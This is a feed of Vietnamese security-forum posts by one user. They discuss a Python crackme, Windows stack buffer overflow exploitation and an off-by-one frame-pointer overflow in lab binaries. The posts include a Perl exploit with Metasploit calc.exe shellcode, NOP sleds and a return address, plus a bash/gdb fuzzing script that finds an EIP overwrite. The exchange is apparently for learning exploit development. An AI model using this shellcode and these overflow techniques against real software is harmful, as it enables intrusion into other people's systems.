<![CDATA[Messages posted by "megatron"]]> /hvaonline/posts/listByUser/184010.html JForum - http://www.jforum.net Re: [Python] Crackme1 /hvaonline/posts/preList/26525/161304.html#161304 /hvaonline/posts/preList/26525/161304.html#161304 GMT Re: [Python] Crackme1

0xdie wrote:
Việc gì phải patch với recompile cho mệt vậy :|. Bật notepad lên gõ vào mà bạn cũng không làm được? Còn nếu sợ cái \n đó thì dùng hex editor mà xóa. Riêng tôi chỉ dùng notepad là đủ :) 
Ôi má ơi, lâu ko xài nên quên thằng notepad :D. Tại trước giờ mình cứ xài echo text >keys Sorry bác -:|- ]]>
/hvaonline/posts/preList/26525/161299.html#161299 /hvaonline/posts/preList/26525/161299.html#161299 GMT
Re: [Python] Crackme1 /hvaonline/posts/preList/26525/161294.html#161294 /hvaonline/posts/preList/26525/161294.html#161294 GMT Re: [Python] Crackme1 /hvaonline/posts/preList/26525/161262.html#161262 /hvaonline/posts/preList/26525/161262.html#161262 GMT Re: Two buffer overflow vulnerabilities in Rumpus /hvaonline/posts/preList/26506/161261.html#161261 /hvaonline/posts/preList/26506/161261.html#161261 GMT Re: [Python] Crackme1 /hvaonline/posts/preList/26525/161259.html#161259 /hvaonline/posts/preList/26525/161259.html#161259 GMT Re: [Python] Crackme1 /hvaonline/posts/preList/26525/161257.html#161257 /hvaonline/posts/preList/26525/161257.html#161257 GMT [Python] Crackme1 http://rapidshare.com/files/169781625/crackme1.pyc.html /m3g4tr0n]]> /hvaonline/posts/preList/26525/161221.html#161221 /hvaonline/posts/preList/26525/161221.html#161221 GMT Re: Tìm hiểu lỗi Buffer Overflow trên Windows

Mr.Khoai wrote:
megatron, Cái NOP phía sau shellcode có lẽ là để 'padd' cái shellcode cho đúng size + bảo vệ cái shellcode khi sử dụng stack. khoai có bị vài lần: buffer khá nhỏ, nhưng vì không để ý nên để NOP sled phía trước hơi nhiều. Kết quả, sau vài cú push là stack overwrite cái shellcode, dẫn đến bị illegal instruciton. khoai 
Mr.Khoai, Thêm NOP sled vào để fill đúng cái size thì ko nói, nhưng mà ko hiểu ý của Khoai "bảo vệ shellcode" là sao? stack PUSH hay POP trong trường hợp này đâu có dính dáng gì đến buffer. Khoai có thể viết ra cái case study mà Khoai đã gặp đc ko?
khoai cũng không hiểu cái return address. $return_address = "\x68\xff\x12\x00" có nghĩa là address sẽ là 0x0012ff68? Nhưng nếu bỏ 00 ở phía sau thì return address (đủ 4bytes) sẽ là 0x12ff6800. Anh seamoun giải thích thêm cái này dùm em.  
Địa chỉ là 4byte. Do cái $return_address của Semoun trong trường hợp này là 0x12ff68 chỉ có 3 byte (qui ước ngầm viết tắt của 0x0012ff68) chứ nếu địa chỉ là 0x12ff6800 thì nhất định NULL byte phải hiển thị tường minh chứ ko đựoc viết tắt theo kiểu 0x12ff68 :D. Mà nếu cái $ret_address mà là 0x12ff6800 thì khi viết lại trong PAYLOAD là NOP...NOP.....SHELLCODE....NOP...NOP...\x00\x12\xff\xbf thì khi strcpy sẽ thất bại :D. ]]>
/hvaonline/posts/preList/26195/159011.html#159011 /hvaonline/posts/preList/26195/159011.html#159011 GMT
Re: Tìm hiểu lỗi Buffer Overflow trên Windows Code:
# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub
 #http://metasploit.com
 my $shellcode =
 "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
 "\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
 "\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
 "\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
 "\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
 "\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
 "\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
 "\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
 "\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
 "\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
 "\xd3\x9d\x6d\xaf";
 # Từ địa chỉ 0x12ff68-0x198(408 bytes)
 my $return_address = "\x68\xFF\x12\x00";
 my $nop_before = "\x90" x 24;
 my $nop_after = "\x90" x 216;
 my $payload = $nop_before.$shellcode.$nop_after.$return_address;
 exec 'vul',$payload
--------> Mình ko hiểu tại sao bạn nhét thêm khúc $nop_after trong payload đằng sau shellcode làm gì? Nó đâu có tác dụng "trượt" về shellcode nếu chẳng may $return_address trỏ về nó ?? Thêm nữa Code:
my $return_address = "\x68\xFF\x12\x00";
----> theo mình nên bỏ cái \x00 đằng sau đi thành Code:
my $return_address = "\x68\xFF\x12"
vi strcpy gặp nó coi nó như terminate của chuỗi nên ko có tác dùng gì. ]]>
/hvaonline/posts/preList/26195/158971.html#158971 /hvaonline/posts/preList/26195/158971.html#158971 GMT
Re: Tìm lỗi và khai thác off-by-one" hay đại loại là "frame pointer overfow" gì đấy. Vẽ minh họa stack để exploit thì dễ, nhưng làm sao cho cái input để khớp vào esp khi RET lại là cả một vấn đề (hay tại tui chuối :D). Vế nguyên tắc như bạn mrkhoai giải thích, overflow đc byte cuối của EBP trong function doit, nó sẽ ảnh hưởng đến main khi epilog của main thực thi. Bản thân EBP trong doit được gọi là save old frame pointer (frame pointer của main). Code:
epilog của main:
0x0804840c <main+78>:   leave  
0x0804840d <main+79>:   ret
Code:
leave = 
mov %ebp(overwrite 1 byte), %esp
pop ebp
//-->%esp = %esp + 4
ret=
pop %esp
jmp [%esp]
Vì vậy việc cần làm là tính toán sau cho cái địa chỉ destination của strcpy((char *)((int)&str - 16), str) trong doit trỏ đúng vào cái %esp của main khi RET. Tui lười quá, code tạm một đoạn tạm gọi là off-by-one fuzzing
$cat off-by-one.sh #!/bin/bash LIMIT=600 TEST1="run \`python -c 'print \"A\"*" TEST2="'\`" for ((i=9; i<=LIMIT; i++)) do echo $TEST1$i$TEST2 >>list echo "if \$eip == 0x41414141" >>list echo " echo AHHHHHHHHHHHHHHHHHHH! Goodjob! Magic input="$i >>list echo " quit" >>list echo "end" >>list done exit  
đoạn script trên tạo ra một file "list" có nội dung đại loại như sau:
..........snip snip......... run `python -c 'print "A"*9'` if $eip == 0x41414141 echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=9 end run `python -c 'print "A"*10'` if $eip == 0x41414141 echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=10 end ...........snip snip........  
Sau đó vào gdb chạy
gdb ./exploitme 1 source list ............ Program received signal SIGILL, Illegal instruction. 0xbffff61a in ?? () AAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=236 The program is running. Exit anyway? (y or n) [answered Y; input not from terminal] meg4tr0n@h4x0r:~/test$  
cho đến khi thấy nó hiện ra dòng goodjob thì dừng lại. Máy tui input là 236 byte sẽ overwrite đc EIP, ko biết máy các bác sao (đã disable ASLR) Tạm thời là thế. /megatron ]]>
/hvaonline/posts/preList/25730/158795.html#158795 /hvaonline/posts/preList/25730/158795.html#158795 GMT